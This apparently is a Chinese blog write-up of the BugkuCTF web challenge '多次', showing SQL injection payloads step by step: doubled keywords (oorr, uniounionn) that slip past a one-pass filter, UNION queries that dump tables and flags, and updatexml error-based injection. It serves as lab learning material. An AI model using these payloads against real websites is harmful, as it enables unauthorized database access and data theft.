bugkuctf web区 多次

首先看到以下url :

发现这是一个基于布尔类型的盲注。

true:

 

false:

根据这两种类型可以进行注入。废话不多说,直接进行尝试。

构造 url = index.php?id=1' or 1=1--+  (注意:之前已经尝试过#,-- 。发现都被过滤。尝试 --+成功)

 发现失败了,看来是什么被过滤了,于是尝试 url=index.php?id=1' oorr 1=1--+  成功,从而得知这是一次过滤。

接下来就是常规操作了。

id=1' oorrder by 2--+ (注意 order 中也有 or 所以也要写两遍)   直接报出字段数为2

id=-1' uniounionn selecselectt 1,database()--+   (因为懒得测试是否存在过滤就直接构造了这样的url)

id=-1' uniounionn selecselectt 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+    (informatiion也有or,老是忘掉,QAQ)

id=-1' uniounionn selecselectt 1,group_concat(column_name) from infoorrmation_schema.columns where table_name="flag1"--+

 看到这个东西还要我说怎么办吗?爆它喵的!

id=-1' uniounionn selecselectt 1,flag1 from flag1--+                      and             id=-1' uniounionn selecselectt 1,address from flag1--+

 进入下一关。发现这也是基于布尔类型的注入。

然后发现 union 被过滤了。那咋办嘛,刚好可以尝试一下报错注入。

构造payload:

id=1%27%20and%20(updatexml(1,concat(0x7e,(select%20database()),0x7e),1))--+    (没什么注意点,接下来一样就好了)  爆库

id=1%27%20and%20(updatexml(1,concat(0x7e,(select%20group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1))--+    爆表

 id=1%27%20and%20(updatexml(1,concat(0x7e,(select%20group_concat(column_name) from information_schema.columns where table_name="flag2"),0x7e),1))--+      爆字段

 

然后得到flag 

 id=1%27%20and%20(updatexml(1,concat(0x7e,(select%20flag2%20from%20flag2),0x7e),1))--+

 

 但是有个小问题,就是这一题的flag提交不正确。。不知道怎么解决。(而且这一题好像有第三关,但是进不去)

原文地址:https://www.cnblogs.com/cioi/p/11630751.html